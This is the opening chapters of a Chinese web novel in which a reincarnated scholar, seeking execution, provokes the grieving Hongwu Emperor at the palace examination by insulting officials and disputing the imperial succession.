《大明:天天死谏,我成千古明君了?》 第1章 朱煐 洪武二十五年。 奉天殿。 “寒窗八年,总算入了殿试!” “唯一的困难已经克服,接下来就是一片坦途!” 朱煐站在奉天殿百官中的最后一排位置的一个不起眼的角落,此刻的他正兴奋地打量着四周。 这不是他第一次穿越,按次数算,这已经是他的第九世了。 他的身上有一个藏了九世的秘密! 只要他穿越九世且九世都是为了‘家、国、天下’被君王所杀慷慨就义,那么他就能功德圆满,回归现实且觅得长生。 前八世朱煐吃了不少苦头,不过也因此积累了不少的能耐,更钻研出了如何更好地‘慷慨就义’。 原本他以为这最后一世的难度应该是最高的,结果没想到一睁眼,这最后一世居然穿越到了大明朝!而且还是洪武年间! 这相比于第三世穿越到贞观年间来说,难度简直低了不知道多少! 穿越到贞观年的时候,无论自己怎么谏言,李二死活不杀自己,甚至怒喷他的逆鳞,多次谈及玄武门之事也依旧没有效果,反而因为自己多次谏言成了和魏征其名的‘谏臣’,更被载入史册。 那一世自己一直熬到了李二去世,新皇继位,这才成功慷慨就义,浪费了几十年的时光。 想到李二,朱煐怨念颇深。 不过这都是过去的事了。 这一世,当发现自己穿越到了大明洪武年间的时候,朱煐激动坏了。 洪武朝,老朱执政! 老朱的暴脾气,那可是放眼历史都数得着的! 这简直就是老天帮忙啊! 只要想办法入了朝堂,直面老朱,在老朱面前,以老朱的脾气,朱煐有信心第一天就慷慨就义,功德圆满! 于是靠着前几世的经验,他稍稍了解了一下大明的科考,简单学习了几年,加上运气不错,一路通关,以倒数第一名的好成绩压线成功杀入了殿试!获得了在这奉天殿上直面老朱的机会! 今天,正是殿试,钦定状元的日子! 而让朱煐更激动的是,今年殿试,正好赶上了太子朱标去世。一个月前,老朱钦定的继承人,培养了几十年的太子,朱标薨了! 此时的老朱,绝对是处于一生中最易怒,最暴躁的阶段! ..... 奉天殿内。 鸦雀无声。 文武百官不发一言,不敢吭一声。 龙椅上,老朱阴沉着个脸,他的眼球布满了红血丝,脸色蜡黄,身形消瘦。 自太子朱标去世之后,老朱几乎疯狂。 老婆死了,最疼爱的长孙死了,现在,为大明帝国培养了整整几十年的接班人,嫡长子朱标也死了! 常人早就疯了,可老朱明白,自己还不能疯,他还要坚持,挺着。大明需要他,天下的百姓需要他! “陛下,本届科举入了殿试的考生都在这儿了。” “还请陛下出题考校!” 翰林学士刘三吾的声音响彻整个奉天殿。 刘三吾这老头,以七十三岁的高龄暮年入仕,官虽然不是最大的,但却深受老朱信赖重用,在士林集团中更是享誉盛名。 他本就是当世大儒,又入了朝堂,地位甚高。 此次科考就是他在负责。 百官小心翼翼地打量着龙椅上的老朱,却无一人敢与之直视,生怕触了老朱的眉头。 哪怕是朝中重臣,也不敢与之对视。 不过这奉天殿的最后一排的角落里,朱煐却是仰着个头,四处扫视,眼神没有丝毫避讳,甚至身子也没有半点躬下的意思。 也就是他在角落不引人注意,要是在大殿中央,就他这幅架势,必然是鹤立鸡群,格外引人瞩目。 “这就是大明啊。倒是比其他朝代的宫殿更为恢弘一些,做工也更为精细不少。看来这个时代的工匠技艺已经达到了历代的巅峰。” 朱煐肆无忌惮地四处打量着,心中默默点评。 最后目光落在了龙椅上的老朱身上。 自从太子去世之后,一个月以来,老朱像是疯了似的,面容一夕之间苍老,身子也愈发憔悴,仿佛风中残烛。 “果然,朱标去世对于老朱而言的打击太大,看这状态,真就挺不住几年了。” 本着看一眼少一眼,左右已经准备好慷慨就义的心里,朱煐与其他官员不同,心里没有半点忐忑,他的心里,非常平静。 就像是个旅客,来这大明游览观光。 至于会因此触怒龙颜惹怒老朱? 那可真是太棒了! 老朱阴沉着个脸,强打精神。 他沉吟片刻后道:“就以大明国本为题,开始吧。” 老朱取了个题目。 大明国本,这个主题很大,不过很贴合殿试。 殿试是科举的最后一关,但相较于考试而言,用面试来形容则更为贴切。 殿试的形式不一而足,全看皇帝心情。 入了殿试的学子可以确定百分百入朝为官,都是人中龙凤。 殿试决定的是他们的排位,是官途的起点高低。满朝文武都是面试官,老朱是总面试官。 殿试考题一般由皇帝随机出,圣心独断,是以入了殿试的考生又称天子门生,也只有他们才配这个称呼。 殿试形式多样,一般先是以文书的形式写折,先给百官赏阅,再给皇帝独断。 上折之后,再考当廷策论,与皇帝直接对话。 这个过程实际上就是官员上折并当廷请奏的过程,也是让这些殿试考生提前熟悉为官上折的流程。 以大明国本为题,是考察这些考生为官思路,若是能得到老朱的认可,那就有可能高中状元,飞黄腾达。 ....... 当殿的考生都开始沉思.... 刘三吾转身面对五十二名考生朗声道:“本届殿试陛下赐题:‘大明国本’,请诸位考生做题。” 很快,宫中侍卫就将早已准备好的桌案和笔墨纸砚悉数搬入奉天殿中。 五十二张桌案对应五十二名考生。 这些人便是最后一名,日后也是前途无量,能入殿试的,便是末位,也等于直接入了朝堂。 朱煐的面前也摆上了一张桌案,不过他未曾作答,而是径直站着。 当老朱出题之后,百官的注意力全都落在了这五十二名考生上,毕竟今日朝会主要也是为了殿试,要说平日,百官是主角,但今天,他们只是观众,这五十二名考生才是主角! 大家心里也有着自己的计较,尤其是文官集团,目光在这些考生上不断游走,只等殿试结果一出,便让人前去拉拢。 眼前的这五十二人可谓是大明最值得拉拢的五十二个潜力股! 因此哪怕朱煐排在末位,也受到了不少的关注。 一道道目光不约而同落在他的身上。 其余考生悉数坐下,有的坐下后沉思,有的坐下后便开始提笔,可唯独朱煐,站在原地,没有半点要答题的意思。 而很快,朱煐的这迥然不同的行为就引起了殿中所有人的注意。 “这位考生,为何不答?” 刘三吾走到朱煐面前,皱着眉头询问。 朱煐淡淡地扫了一眼。 “以国本为题,我怕我能答题,你们不会阅卷!” “大明国本,满殿诸公,可有一人懂其为何物?” “若是无一人懂,我又何必答?” “兖兖诸公,今日一见,皆是尸位素餐之辈,又有何人配阅我卷?” 此言一出,满殿寂然! 原本自觉站在高位俯看着这一场殿试的百官,此刻不少人却不由涨红了脸,看着朱煐,面上满是愠怒之色。 按资历,他们已身居大明官场高位,哪怕是本届状元,在他们眼中也不过尔尔,天才如过江之鲫,未能兑现潜力的天才,尚不配与他们同列。 他们都是以看后生晚辈的角度看着殿内的考生。 可没想到,朱煐一句话,直接开了地图炮。 未入官场便如此群嘲未来同僚前辈? “狂妄!” “你何以便知我等不懂?” 百官之中,一人猛地出列开口,此人年岁不大,在这奉天殿百官之中算得上年轻,显然也是一名大明官场上的‘天之骄子’。 朱煐目光落在此人身上,看到了对方眼中的怒意。 “你是何人?”淡淡询问。 “本官黄子澄,洪武十八年探花,受陛下信赖,添为太常寺卿!” 黄子澄脑袋一抬,一脸傲意。 朱煐看着眼前的人,脑海里浮现有关黄子澄的信息。 这位倒确实不是无名之辈,史上留名,只是这留下的名却不是什么好名。 黄子澄曾在宫中教授过朱允炆,是以在朱标去世之后,他与刘三吾,齐泰等一众文官力推朱允炆上位,而在朱允炆成功登基后,对其更是予以重用。 黄子澄又力主削藩,逼的诸王不得不反,朱棣趁势而起,奉天靖难。 不得不说,在靖难之役中,黄子澄为永乐一朝也算是立下了汗马功劳。 眼下黄子澄的话,短短几句却暗含多个意思。 首先就是说自己是洪武十八年探花,意为他也是科考出身,且是殿试第三名,暗讽朱煐连入殿试都只是以末位入的殿试。 其次又提及自己在皇上心中的地位,深受信赖。 最后又报了自己正三品的太常寺卿的职位,以官位压人。 这要是一般的学子,早就被这样的‘大人物’气势所慑,可惜,黄子澄面对的是朱煐.... 朱煐只是淡淡地扫了眼前的黄子澄一眼淡淡来了一句:“其他人姑且不谈,至少你肯定是不配阅我卷子。” “你未曾答卷,何以知道本官不配阅你卷子?” “你都不配阅我卷子,我又何必答卷?” “你...” 黄子澄脸色涨红,气得一时语噎.... 第2章 陛下,你没几年好活了! “好厉害的狂生!竟连黄子澄都落了下风!” “可惜就是脑子不好使,殿试之上,如此这般,前途尽断。” “前途?这会儿还谈前途?我看这小子小命怕是都悬了。” “.....” 周遭百官窃窃私语。 众人看着朱煐,就像是在看傻子一般,还有不少目光中带着些许的怜悯。 倘若是往年,狂生此举或许还有破局的一线生机,可惜,本届殿试正好赶上了太子去世,是个人都知晓陛下这会儿的心情不好,现如今当着陛下的面,在这殿上玩了这一出,活命的机会十不存一! 有些口才却不会审时度势,一个无脑的傻子罢了。 ..... 朱煐直接无视众人的目光,更是直接无视了面前的黄子澄。 黄子澄见自己被藐视,顿时气恼,转身冲龙椅上的老朱便躬身。 “陛下,此人狂妄,臣请将此狂生逐出宫去,以免扰乱殿试!” 老朱眉头深锁,没有回复黄子澄。 目光越过黄子澄看向朱煐,面色不喜。 他本来心情就差劲的很,自从最看重的儿子死了之后,老朱已经接连罢朝月旬,就连科考殿试都推后了,也似刘三吾多次上奏,老朱才勉强打起了精神,特意开了个朝会,想着就是快些解决殿试。 结果这殿试还没开始呢,就冒出了个刺头狂生。 想以此来博取咱的注意吗? 老朱心中杀意隐动。 目光如刀一般落在朱煐身上。良久后开口:“殿试是咱出的题,你说咱的百官阅不得你的卷子,这大明国本是什么,咱出的题咱自然清楚,咱亲自阅卷,总没问题了吧?莫不是咱也不配阅你的卷子?” 老朱的声音逐渐沉闷,偌大的奉天殿瞬息之间鸦雀无声,只有老朱的声音在大殿中回响。 随着老朱的一句句话,众人顿感后背发凉,一股股寒意平白出现涌动,奉天殿内的温度仿佛骤然间下降了十度,寒意刺骨! 老朱目光炯炯地盯着朱煐,独属于帝王的气势横压而去。 他当了二十五年的皇帝,气势之重,骇人听闻,尤其他还是洪武大帝,大明开国皇帝,积威甚重。 莫说是一个小小考生,就算是入朝多年的官员能扛住这样气势的,也少有。 群臣瑟瑟发抖,纷纷低头不敢言语。 然而此刻,朱煐却是抬起头,直视老朱,无论是眼神中还是脸上都没有半分惧色。 气势压迫? 触怒龙颜? 抱歉。你越压迫,我越兴奋,你越生气,就说明我越成功! 群臣怕死,所以才唯唯诺诺,担心一个不慎触怒龙颜,不得好死。 可...我怕个球? 朱煐抬头,直视老朱。 当即迈步上前,直接从黄子澄的面前走了过去,无视了他。 在黄子澄恼怒的目光中,朱煐径直走到了殿中首列,直面老朱,拱手躬身朗声便道:“陛下,您怕是过于自信了。” “大明国本为何,学生以为,朝中兖兖诸公不知,陛下,同样不知。” “此题非臣不答,实在是答了卷子,无人可阅,这题答了又有何意义?” “既然如此,不如不答。”朱煐声音抑扬顿挫,看着老朱,眼神没有半分退让。 而随着朱煐这几句话一出,顿时,整个奉天殿一片死寂! 群臣寂然! 朝中文武,脸色骤变,刘三吾、黄子澄、齐泰等一众朝臣面色唰的一下变得煞白,再无血色! 原本打着看好戏想法的朝臣们,这一刻也变了脸色,一脸震惊地望向朱煐,眼神中满是惊恐,眸子深处满是错愕与骇然! 疯了!疯了!! 这小子指定是疯了! 原本恼怒生气的黄子澄这会儿也忘了生气了,骇然地看着群臣第一列,此刻站在下首抬头直视老朱,与老朱对峙的朱煐,彻底傻了眼。 狂生,说的是以异常举动博取关注,想以此受到注意,以此博取前途。 这是狂生。 狂生怼自己,或者喷百官那都正常。 可....这他娘的当朝藐视陛下? 这哪里是什么狂生? 这就是个疯子!实打实的疯子! 黄子澄不敢言语哪怕一声。 百官也悉数噤声。 大家可都知晓这些日子陛下是什么状态,自从太子去世之后,陛下就一直沉浸在丧子之痛中,状态介于疯与不疯之间。他随时可能陷入疯狂! 这样的状态下,谁敢去刺激陛下,触怒龙颜? 结果,陛下这样的状态下,这小子居然当朝藐视陛下,文武百官都不敢刺激陛下,这小子一次性刺激了个底朝天! 满朝文武心中已经把朱煐给骂了千百遍!生怕因为朱煐触怒了老朱,而引发满朝的震动,以至于满朝文武皆受牵连。 这并非不可能,若是其他朝代不好说。可眼下洪武朝..... 胡惟庸案、空印案、郭桓案还历历在目。 最近的郭桓案可才过去没几年,牵连数万,杀得那叫一个人头滚滚! 文武百官悉数屏住了呼吸,心中暗暗祈祷,冤有头债有主,希望莫要受到牵连..... ...... 龙椅上,老朱看着下方的朱煐,怒极反笑。 “哈哈哈哈哈,好好好!” “好一个咱也不知!” “你可知,咱是大明皇帝?” “你可知这天下姓什么?” “咱不知大明国本,难不成你知?” 老朱看着朱煐,面色一沉,冷声道:“咱知道,你想以此博名,似你这般的狂生,咱见过。” “你可知他们的下场?” 老朱身上的气势如同滔天巨浪,席卷整个奉天殿,群臣瑟瑟,入朝参考的考生也是悉数颤抖。 老朱的积威太盛。 唯有朱煐,面对老朱扑面而来的气势,不以为意。 老朱的这气势,在其他人那里是惊涛骇浪,而落在朱煐面前,他只觉着如沐春风。 老朱不等朱煐作答便自问自答幽幽道:“他们大都死了。” 奉天殿内,充满了森然寒意! 百官都感受到了老朱言语中的杀意,心中不由大骂此刻站在百官首列的朱煐。 然而此时的朱煐心中却是狂喜! 果然! 在这洪武朝找死才是最简单的!老朱就是老朱,不愧是晚年老朱,看来这回自己功德圆满是十拿九稳的了。 老朱的这话,落在其他人的耳朵里是威胁,是死亡通知书。 可落在朱煐这儿,那就是一张保底通行证,一个保证书啊! 现在万事俱备,只差一着。朱煐直面老朱,挺身而出。 他直视老朱后又环顾四周,扫了一眼满朝文武,眼中尽是鄙夷之色,冲着老朱拱手躬身:“陛下,你当学生是这尸位素餐,贪生怕死的兖兖诸公吗?” “那陛下你错了。” “学生一生,只信奉真理!” “嗬嗬嗬嗬!” 老朱怒极而笑,目光锐利地盯着朱煐:“好好好,好一个信奉真理!” “咱倒是要好好听听,咱以大明国本为题。你答。” “答好了,咱只杀你一人。” “答不好,咱诛你九族!” 老朱的声音中充满了冷冽的寒意,这股子寒意让百官都不由得打了个寒颤.... 然而,这番话落在朱煐的耳中,却无异于天籁之音。 他眉头一挑,心中大喜的同时又有些不敢相信。 九世轮回,本以为这第九世想要完成任务定然是困难重重,原本都已经做好了心理准备,可没想到,一切居然完成得如此顺利! 顺利的有些让人不敢相信! 有了老朱的保证,死已成定局。 只需要再给出合适的理由,为国,为天下而死,慷慨就义,那自己就彻底功德圆满了! 接下来,只剩下最后一步。 朱煐的眼神瞬间变得坚定,直面老朱。 “陛下,死而已,学生何惧之有?” “莫说九族,陛下你便是诛了学生的十族又能如何?” “不过既然陛下诚心诚意发问,学生倒也不妨直言。” “学生以为,大明国本,当为储君!” “今太子已死,以陛下年岁,又有几年好活?” “年近七十古来稀,陛下如今已近七旬。” “说句大逆不道之言,或许明日,陛下您就驾鹤西去了。” “届时大明又无储君,藩王争权,文武扶帝,八王之乱近在眼前!” “倘若朝中兖兖诸公并非尸位素餐之辈,那为何不劝陛下立下皇储?” “若是陛下知晓何为大明国本,又何至于如今后继无人?” “陛下,您须知,您年岁不小,没几年好活了,太子驾崩已令人心思动,倘若您在驾崩,又无储君。那么,学生以为,天下大乱,近在眼前矣!” “学生请陛下,立下皇储!” “学生一人死生事小,天下百姓何其无辜?” “若能以学生之一人性命,换大明根基稳固,天下百姓安宁,臣百死无悔!” “若诛学生九族可令陛下幡然醒悟,那陛下诛学生十族又能如何?” “学生十族,在九泉之下,亦无怨言!” 朱煐的声音愈发高昂。 一句接一句,回荡在整个奉天殿。 此时! 此刻! 满殿寂静! 鸦雀无声! 周遭百官此刻全都听傻了!久久无法回神.... 足足过了好一会儿之后,众人才稍稍缓过神来.... 而在缓过神后,众人看向朱煐的目光中满是骇然与惊恐。 疯了疯了! 这小子是当真不怕死啊! 这丫的不是狂生,这摆明了是奔着找死来的! 第3章 朱允炆,也配为皇储? 老朱这会儿也是瞪大了眼睛,看着眼前一副视死如归的朱煐,一时半会儿没有缓过劲来。 多少年了。 自从当上皇帝之后,多少年没有人敢在自己的面前如此了? 这小子,真是来找死的? 听着朱煐的一番话,老朱转念一思量,脸色愈发阴沉。 目光扫视整个奉天殿。 从一个个大臣的脸上扫过。 此刻的奉天殿中,百官尽低眉,一个个都不言语。 老朱的目光重新落回到了朱煐的身上,心中思量。 “这世上,当真有人平白无故找死?” “不可能!” “凡古怪行径,必有缘由!” 老朱眯着眼睛,他虽然因为朱标的死心情阴翳,可却并未丧失理智,头脑依旧保持清醒。 一个刚入了殿试的贡生,将生死置之度外,死也要谏言立储的事情? 只有两种可能。 第一种就是此人求名,想死后留名。 这样的文臣历代皆不少,在读书人心中,名垂青史是个至高无上的荣耀,相较于活着,轰轰烈烈地死对这些人更有吸引力。 但这种可能性出现在老朱脑海里的瞬间就被他给否了。 倘若真是想名垂青史,何不等殿试之后? 既然都已经费劲辛苦走到殿试这一步,已经有了百分之百入朝为官的资格。何不等殿试之后,成了名正言顺的官员,再行此举? 那么....就只剩下了一种可能! 老朱眼神中闪过一抹煞气。 好好好! 标儿刚死,就有人耐不住性子了。 是有人想试探咱的态度? 咱倒要看看,这狂生背后,是谁的手笔! 老朱神色一正,目光重新落在朱煐身上,眼神中隐约间流露杀意。 老朱的杀意,朱煐感受到了。 他感觉背后生寒,一股寒意涌上心头。 顿感大喜! 吾道将成矣! ...... 大殿之中。 群臣噤声,没有一人开口。 当朱煐说出大明国本是为皇储后,不光是老朱的脑海里浮想联翩,这朝堂上的官员们也具是一愣。 能在这大明朝堂,尤其是在老朱晚年执政的洪武朝堂平安活下来的官员,哪里有简单的货色? 老朱想的,也便是他们想的。 原本和朱煐争锋相对的黄子澄这会儿看着朱煐的眼神中有些惊疑不定。 旋即小心地扫了眼四周的同僚,不由蹙眉。 “难不成这小子是杆枪?他又代表了谁?” “这会儿试探陛下,与火中取栗有何区别?” 黄子澄有些焦急。 如今朝堂上局面颇为复杂。 首先他隶属于文官集团,文官集团以刘三吾为首,力推皇孙朱允炆,黄子澄教过朱允炆一阵,有师生之谊,再加上年岁不大又得老朱重用,因此他在文官集团中的地位卓然。 可文官集团也并非铁板一块,虽然大家的目标一致,但各有算计,分成多个小团体。 大家都想立那从龙之功。 倘若日后皇孙当真继位,谁在其中出了大力气,日后朝堂地位便会斐然! 而同时。 武将勋贵,以淮西一脉为首,他们想让陛下立的是皇孙朱允熥。 朱允熥乃是常氏所生,常家在淮西一脉的地位自不用说,更何况还有个蓝玉。 随着常遇春、徐达相继去世,蓝玉如今已经是实打实的大明军方第一人,大明军神!他如今也是淮西一脉中的领军人物! 蓝玉是常遇春妻弟,而皇孙朱允熥又是已故的常家长女常氏所留,按辈分的话,朱允熥该唤蓝玉一声舅姥爷。 碍于太子去世,老朱的情绪,无论是文官集团还是淮西勋贵都不敢太过将立储之事摆在明面上,生怕点炸了老朱这个火药桶。 但实际上,双方都知晓各自的打算,平静的朝堂暗中却早已涌动暗流。 所以此刻的黄子澄有些惊疑不定,他不清楚,朱煐代表的究竟是哪一方。 刚刚黄子澄还道朱煐是个想在陛下面前博眼球的狂生,可眼下来看,这分明就是用来试探老朱态度的棋子啊! “这小子终究是个读书人,倘若是淮西一脉,那该从武人中选才是,难不成是哪位同僚的手笔?” “以一条性命开路,好大的手笔!” 黄子澄心中暗自惊叹.... 如黄子澄一般想法的不止他一人。 此刻,寂静的奉天殿内,气氛古怪.... 此刻所有人的目光全都不约而同地落在了朱煐的身上。 朱煐彻彻底底成了全场焦点.... ...... 老朱阴沉个脸看着视死如归的朱煐。 他皱着眉头。 良久之后,带着森然寒意冷声道:“那以你之见,咱该立谁为皇储才合适?” “咱立允炆如何?” 老朱的声音不大,可在这寂静无声的奉天殿中回响却格外清晰。 这一字一句落入百官的耳中,文武官员都不由自主地打了个寒颤。 其余参加殿试的本届贡生更是不敢发一言,低着头,暗叫命不好。往年殿试哪里碰上过这样要命的场面? 这一届的殿试贡生中忽然冒出了个这么个家伙,这一届,怕是前途暗淡了.... 偌大的奉天殿,上百人,呼吸都屏住了,甚至不敢大声喘气。 黄子澄听得老朱的这话,也不由聚起了精神,他不敢直视,只感用余光去扫.... 老朱目光灼灼盯着朱煐。只等他回答。独属于老朱的王霸之气罩向朱煐.... 然而面对这样扑面而来的气势,朱煐却压根没有太多感觉。 这气势压向别人,能让人不寒而栗。可压向朱煐,却只是被他当成了微风拂面。 朱煐神色平静,一副随时准备壮烈的严肃表情,冲老朱拱手:“回禀陛下,学生以为,不如何。” “皇孙朱允炆,不配为皇储!” 朱煐此言一出,老朱身上杀意大盛,目光瞬间落向淮西一脉的位置。 朝中文官也是瞬间抬头,纷纷望向了淮西一脉。 陛下一言探出朱煐立场。 朱允炆不配? 那谁配? 不就只剩下皇孙朱允熥了? 这不怕死的贡生,是淮西一脉选的人? 也对,这般直接蠢笨的手段,也只有这群没有脑子的武人能想出来。 黄子澄望向淮西一脉的勋贵们,心中不由冷笑。 此番,怕是弄巧成拙了! 这般试探陛下,当陛下是傻子吗? ...... 此刻的老朱心中恼火。 他盯着朱煐冷声道:“是谁教唆你这般说的?” “学生之言发自肺腑,为的是天下百姓,为的是我大明江山!” “学生早已将生死置之度外,又有谁配教学生做事?” “陛下糊涂,学生若是再如这朝中兖兖诸公般唯唯诺诺,那大明谈何未来?” 说着,朱煐鄙夷地扫了周遭百官一圈。 根据他前几世作死的经验,触怒龙颜的同时要是能同时得罪百官,那自己的死亡率能直线飙升! 真要是形成大势,百官都劝皇帝杀了自己,那自己死亡率近乎百分百! 而不出朱煐所料,随着他的地图炮,奉天殿内的百官脸色难看到了极点.... 这会儿朝中官员估计已经把朱煐的十八辈祖宗给骂了个遍,要不是这会儿不是时候,担心此时站出来令自己卷入漩涡中,这会儿大家怕是群情激奋了。 ..... “好好好!” “好的很呐!” 老朱怒极反笑。 “好一个为了江山社稷,为了天下百姓!” “倘若咱就要立允炆为皇储,你当如何?” 老朱沉声冷笑。 这话一出。 淮西一脉勋贵武人脸色骤变。 文官集团则是面露喜色。 黄子澄面色不变,可心中却是狂喜! 朱允炆是自己的学生,这份情谊在,日后若是新朝,必当重用自己! 届时,说不得便是宰辅之臣! ..... 朱煐淡淡地扫了一眼老朱。 “陛下硬要立一庶子为储。学生又能如何?” “无非就是让大明再复李唐皇室之事。” “也就是往后君王有样学样,兄弟阋墙罢了,陛下要是不在意,学生能如何?” 朱煐此言一出,顿时满殿哗然! 黄子澄脸色骤变。 原先他还只是在看戏,可朱煐这话一出,他坐不住了。 这要是朱允炆被扣上一个庶子的帽子,那可完了! “胡言乱语!” 黄子澄当即站了出来。 “陛下,此人胡言乱语中伤皇孙,还请陛下圣断!” 忽然跳出来的黄子澄瞬间引起了朱煐的注意。 大名鼎鼎的建文三傻。 倒也算是名垂青史的人物。 朱煐多看了两眼,毕竟能以蠢名留青史的,也算是本事。 “我胡言乱语?” “哈哈哈哈!” 朱煐大笑。 “庶子就是庶子,不配立储就是不配立储!” “敢问这吕氏是何身份?” “我怎么记着,太子妃分明是常氏,什么时候成吕氏了?” “这朱允炆我记着是吕氏所生,非常氏子嗣吧?” “既非正室诞子,不是庶子又是什么?” 朱煐此言一出,全场具是一寂。 旋即,满殿哗然! 黄子澄脸色骤变,满脸通红。 “一派胡言!” “常氏早亡,吕氏早被陛下扶正,皇孙允炆自然由庶转嫡!” “哦~这嫡庶还能这般转是吧?” “若按黄大人所言,那若是陛下觉着黄大人您适合当储君,给您老母配个冥婚,再扶正,那你不就成嫡长孙了?” “妙妙妙,好一个扶正!” “这口子一开,日后大明国君尽皆效仿,大明江山想来是万世永固矣!” 说着朱煐转身冲着龙椅上的老朱竖起了大拇指:“陛下扶正的好哇!” “学生请陛下认真考察黄大人,若是觉着可以,把他老母也给扶正扶正,当这位黄大人由庶转嫡,也来当当这嫡长孙便是。” “若朱允炆这都能做嫡子,那这天下,再无庶子!” 朱煐嘴角冷笑,嘲讽拉满。 这一霎,满殿寂静! 黄子澄长大了嘴巴,瞪大了眼睛。 百官悉数噤声,震惊地望向朱煐,一脸惊恐。 疯了! 疯了!! 敢拿太子开涮? 触陛下逆鳞! 这小子就是疯子! 第4章 诛我十族又何妨? 黄子澄已经不敢回话了。 原本他想给自己的学生朱允炆争辩,可和朱煐一交锋之后他才反应过来,自己究竟在面对什么样的对手! 这就是一个不折不扣的疯子! 哦,不,没错,他本来就是个疯子。 自己居然和一个不要命的人争辩? 黄子澄当即选择了闭嘴。 他担心自己再接一句话,就万劫不复。 虽然这会儿的他心里很气,却不敢再吭声。 ..... 朱煐的一字一句落入老朱的耳中。 老朱的脸色更冷了。 看着眼前的朱煐,老朱就像是在看一个死人。 龙有逆鳞,触之必死。 在老朱的心里,要说逆鳞的话,总共有两个半的逆鳞。 其中一个是和他同甘共苦的结发妻子,他的妹子,马皇后马秀英。 半个是他那英年早逝,走在马皇后之前的真正的大明嫡长孙,朱雄英。 而剩下的一个,就是他为大明帝国培养了整整三十余年的计划中的大明未来继承人,太子朱标! 眼下,朱煐拿刚刚去世一个月的朱标开涮,已经触及了老朱的心理底线。 所以在老朱的眼里,朱煐早已是个死人。 朱煐也感受到了老朱的目光,心中不免暗喜。 虽然在这大朝会上大放厥词,触怒老朱已经是死罪,不过朱煐还是给一层层地加上保险。前几世的作死经验告诉他,千万不要放过惹怒君王的机会,君心难测,要是你只是一般惹怒皇帝,他当时怒了一下,之后又改了主意。 那可就坏了菜了! 朱煐本就求死,顺手划拉一下朱标,不费事,又能给自己上一份保险,一箭双雕的事儿。 ...... 群臣已经感受到了老朱的情绪。 一个个都不敢言语。 文官集团虽然想为朱允炆辩解,可这会儿他们却不敢开口。 而至于淮西一脉,勋贵们虽然低着头,可余光却不断往朱煐身上瞥,心中暗想着这小子究竟是哪家派出来的人才。 这角度刁钻啊! 虽然这小子是死定了,可这一番话,说的却并不是没有道理,若是日后陛下事后想起,考虑起来,或许真能成改变陛下立储想法的最后一根稻草! 朱允炆,毕竟不是常氏所生,他生母是吕氏,说破大天去,也是由庶转嫡,得位就是不正。 朱允熥是嫡子次,好歹占个嫡字,这么看,出身反倒显得更正了。 ..... 满朝文武没有一人敢言。 朱煐却仿佛压根没有感受到老朱的杀意。 继续冲着黄子澄说道:“黄大人,这允炆皇孙得位不正只是其一。” “其二,就是当前我大明的现实问题。” “大人可知常氏一脉尚有允熥皇孙在世?” “皇孙朱允熥是常氏之子,常家在淮西一脉的地位想必不用学生多言。” “若是陛下立朱允炆为储。等陛下归天之后,凉国公大手一挥,带着淮西一脉拥立允熥皇孙,尔等又当如何?” “说句难听的,纵观历朝历代古今旧事,任凭你生前再风光无限,雄才伟略,死了之后,那生前说的话就和放屁没有什么区别。” “黄大人,你觉得陛下死了之后,他的话在凉国公以及淮西一脉众位大人这儿,还有几分作用?” “他们若是不听陛下遗诏,你又有什么办法?难不成你是准备捧着陛下的骨灰去碰碰他们的刀兵吗?” 朱煐一脸语重心长,对着黄子澄脸上一副‘我也是为你好’的表情。 而此刻,直面朱煐的黄子澄心里是崩溃的。 你大爷! 靠! 妈了个巴子! 他现在就恨不得抽死自己。 他奶奶的,嘴欠什么呢?非要跳出来和这疯子对线! 疯了!这丫的就是疯了! 陛下这会儿还在龙椅上坐着呢,你丫的说这些? 你想死,别拖着我啊! 黄子澄这会儿却是已经欲哭无泪。 可同时,在悔恨的同时,心中却是大为震动! 他并非蠢人,只是将朱煐的话一过耳朵,瞬间就惊了! 朱煐的话虽然大逆不道,可话糙理不糙,黄子澄一思量发现,倘若真要扶允炆皇孙上位,这些淮西一脉,在陛下殡天之后,若是强行扶朱允熥登基,还真一点遏制他们的办法都没有! 等等! 黄子澄想到这些,忽然一愣。 他忽然意识到了一个问题.... 先前朱煐驳斥朱允炆庶子出身,不配为储时,黄子澄只以为这丫的是淮西一脉的人,以性命入棋局,想拉允炆皇孙下马。 可这会儿.... 不对劲啊! 真要是按照这小子的思路走,淮西一脉进可攻退可守,若是陛下立了朱允熥,那他们就扶着朱允熥。要是陛下立的是朱允炆,那他们就蛰伏,以陛下的年纪,再加上心神俱寂,确实是挺不了多久,只要等陛下一死,那按照这小子的法子,改天换日,成功率几乎百分百! 淮西一脉要是发动兵变,满朝文官,谁能挡住? 届时,皇位依旧是朱允熥的。 如此计划,可谓进可攻退可守。 可现在! 这计划..... 居然就这么被赤裸裸地说出来了? 而且还是当着陛下的面说出来了? 这不是摆明了提醒陛下,要是立允炆的话,就得提前处理淮西一脉吗? 嘶! 想到这,黄子澄瞪大了眼睛,惊诧地望向眼前一脸‘为国而死,我死得其所。’的朱煐,心中不由倒吸了一口凉气! 这丫的,不是淮西一脉的人? 这番话,看似好像是反对允炆皇孙,可实际上这话当着陛下的面说出来后,所达到的真正效果却不然。 这番话....实际上是往死了整淮西一脉啊! 此人难道是哪位大人的死士? 表面反对,实则却想以性命入局,拉着整个淮西一脉下水! 想到此处,黄子澄望向朱煐的眼神中顿时充满了敬意! 肃然起敬!肃然起敬啊! 先生,千古! 恭送先生赴死! 要不是老朱还在,百官还在,黄子澄便要忍不住呼出声了。 一个读书人,以自身性命入局,冒着被同僚误会的风险,以一己之力将淮西一脉拖下水!这是何等高义? ...... “????” 黄子澄忽然变化的目光被朱煐感知。 朱煐满脑袋的疑惑。 这是什么眼神? 怼的太狠,把这姓黄的脑子给怼抽了? 朱煐不以为意,他并不在乎黄子澄脑子抽不抽。这丫的死了和自己也没有什么关系,只要自己能顺利被老朱给赐死,那就万事大吉了。 ....... 而此时。 与黄子澄此刻的心情全然不同的却是淮西一脉的勋贵武人们。 朱煐一番话,淮西一脉的官员们顿时变了脸色! 朱煐说者无意,只是在挑逗老朱的情绪,给自己的求死之路加一层保险。可身为当局者的淮西一脉的官员们却是在朱煐这一番话后,背后发凉!寒意刺骨! “陛下,这狂生胡言乱语,恶意中伤臣等!请陛下诛杀此獠!” “陛下,此人构陷臣等!臣等对大明之心日月可鉴!” “陛下,此子该杀!胡言乱语,辱太子圣名,断不可留!” “.....” 一时间,原本寂静的奉天殿中,淮西一脉的官员们一个个义愤填膺,怒不可遏,一个个的仿佛要把朱煐给生吞活剥了一般。 这会儿他们恨透了朱煐。 想到刚刚自己居然还觉着这小子是哪位府中派出来以身入局的死士,想到这想法就恨不得给自己来几个嘴巴子! 这他娘的哪里是什么死士?这简直就是冲着要咱淮西一脉命来的啊! 